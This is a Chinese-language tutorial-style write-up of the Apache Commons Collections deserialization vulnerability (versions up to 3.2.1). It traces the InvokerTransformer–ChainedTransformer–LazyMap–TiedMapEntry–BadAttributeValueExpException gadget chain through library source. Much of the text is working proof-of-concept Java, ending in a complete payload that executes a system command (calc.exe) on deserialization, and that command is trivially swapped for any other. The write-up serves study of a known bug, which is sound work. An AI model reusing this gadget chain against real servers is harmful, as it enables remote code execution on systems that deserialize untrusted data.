Apache Commons Collections 是一个扩展了Java标准库里的Collection结构的第三方基础库
漏洞版本<=3.2.1
起一个maven项目,pom.xml内容如下:
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd"> <modelVersion>4.0.0</modelVersion> <groupId>2</groupId> <artifactId>2</artifactId> <packaging>war</packaging> <version>0.0.1-SNAPSHOT</version> <name>Common-Collections Maven Webapp</name> <url>http://maven.apache.org</url> <dependencies> <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.1</version> </dependency> </dependencies> <build> <finalName>Common-Collections</finalName> </build> </project>
主要漏洞利用点在InvokerTransformer.class的transform方法
public Object transform(Object input) { if (input == null) { return null; } else { try { Class cls = input.getClass(); Method method = cls.getMethod(this.iMethodName, this.iParamTypes); return method.invoke(input, this.iArgs); } catch (NoSuchMethodException var5) { throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist"); } catch (IllegalAccessException var6) { throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed"); } catch (InvocationTargetException var7) { throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7); } } } }
可以看出传参一个Object,然后通过反射进行任意的方法调用,定位下iMethodName和iParamTypes变量
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) { this.iMethodName = methodName; this.iParamTypes = paramTypes; this.iArgs = args; }
可以看到在初始化类的时候进行了变量的定义,所以这些都是我们可控的地方,也就是可以通过InvokerTransformer类进行任意类任意方法的调用。
但是仅仅这样无法满足java的命令执行,对于PHP而言,只需要简单的system(‘xx’)这样的函数形式即可执行命令,但对于Java来讲命令执行通常为:Runtime.getRuntime().exec(cmd),所以我们必须要进行多次调用,把第一次调用后的结果传给后面一直执行,所以这里是需要多次调用transform方法才可以达到命令执行的目的,所以要找一个可以多次调用transform的函数
ChainedTransformer.class
public ChainedTransformer(Transformer[] transformers) { this.iTransformers = transformers; } public Object transform(Object object) { for(int i = 0; i < this.iTransformers.length; ++i) { object = this.iTransformers[i].transform(object); } return object; }
构造函数会把传进来的对象数组赋值给iTransformers变量,可以看到这里可以通过循环把每一次通过transform得到object作为参数再传给下一次使用,这样就符合了我们之前需要达到的要求.
看一下简单利用的poc
package demo; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; public class Demo1{ public static void main(String[] args) { Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }), new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"}) }; Transformer transformerChain = new ChainedTransformer(transformers); transformerChain.transform(null); } }
这里主要解释下对于getMethod的反射为什么是两个class (String.class和class[].class),翻下getMethod函数的源码
@CallerSensitive public Method getMethod(String name, Class<?>... parameterTypes) throws NoSuchMethodException, SecurityException { checkMemberAccess(Member.PUBLIC, Reflection.getCallerClass(), true); Method method = getMethod0(name, parameterTypes, true); if (method == null) { throw new NoSuchMethodException(getName() + "." + name + argumentTypesToString(parameterTypes)); } return method; }
可以看到如果需要反射getMethod方法,需要两个参数第一个自然就是String.class,第二个参数是可变数量的泛型class,所以第二个需要传参Class[].class ,同理,invoke也是如此,就不再赘述了。
上面介绍的只是一些主要的触发点,如果要达到反序列化直接触发的话,还是差一些的,我们需要的是直接通过readObject触发,上面的话还需要再调用一次transform方法,所以需要找到一些调用链来使得tranform自动调用
LazyMap.class
protected LazyMap(Map map, Transformer factory) { super(map); if (factory == null) { throw new IllegalArgumentException("Factory must not be null"); } else { this.factory = factory; } } public Object get(Object key) { if (!super.map.containsKey(key)) { Object value = this.factory.transform(key); super.map.put(key, value); return value; } else { return super.map.get(key); } } }
对于LazyMap的构造函数,如果第二个参数是Transformer类,则会将这个参数赋值给factory变量给下面的get方法进行使用.
在LazyMap的get函数中,如果map中不包含传进来的键值的话,则会调用this.factory的transform方法,所以这里可以将factory设置为ChainedTransformer类,这样我们就可以控制factory了,接下来找下get方法的调用
TiedMapEntry.class
public Object getValue() { return this.map.get(this.key); }
很明显可以看出 this.map和我们的lazymap很合适,接着找下getValue的调用
public String toString() { return this.getKey() + "=" + this.getValue(); }
java的toString其实是和php一样的,当对象被当作字符串调用时,触发toString
其实这里如果把反序列化后的对象直接打印出来,确实可以触发,但是还是不算直接触发,这里可以找一个重写过的readObject方法完成这个操作:
BadAttributeValueExpException.class
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException { ObjectInputStream.GetField gf = ois.readFields(); Object valObj = gf.get("val", null); if (valObj == null) { val = null; } else if (valObj instanceof String) { val= valObj; } else if (System.getSecurityManager() == null || valObj instanceof Long || valObj instanceof Integer || valObj instanceof Float || valObj instanceof Double || valObj instanceof Byte || valObj instanceof Short || valObj instanceof Boolean) { val = valObj.toString(); } else { // the serialized object is from a version without JDK-8019292 fix val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName(); } } }
取出val变量,进行一系列字符串操作,如果我们把这个val变量设置为TiedMapEntry类的话,在程序运行到if(valObj == null)的时候就会触发toString,完成一系列调用,不过这个val变量是私有的,需要通过反射来进行设置变量,最终完整poc如下:
package demo; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.map.HashedMap; import org.apache.commons.collections.map.TransformedMap; import java.io.*; import java.util.HashMap; import org.apache.commons.collections.map.LazyMap; import org.apache.commons.collections.keyvalue.TiedMapEntry; import javax.management.BadAttributeValueExpException; import java.lang.reflect.Field; import java.lang.reflect.Constructor; import java.util.Map; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; public class test implements Serializable{ public static void main(String[] args) throws Exception { Transformer[] transformers = { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{ String.class, Class[].class}, new Object[]{"getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[]{ Object.class, Object[].class}, new Object[]{ null ,new Object[0]} ), new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"}) }; Transformer transformerChain = new ChainedTransformer(transformers); Map innerMap = new HashMap(); Map lazyMap = LazyMap.decorate(innerMap, transformerChain); TiedMapEntry entry = new TiedMapEntry(lazyMap, "lih3iu"); BadAttributeValueExpException ins = new BadAttributeValueExpException(null); Field valfield = ins.getClass().getDeclaredField("val"); valfield.setAccessible(true); valfield.set(ins, entry); ByteArrayOutputStream exp = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(exp); oos.writeObject(ins); oos.flush(); oos.close(); ByteArrayInputStream out = new ByteArrayInputStream(exp.toByteArray()); ObjectInputStream ois = new ObjectInputStream(out); Object obj = (Object) ois.readObject(); ois.close(); } }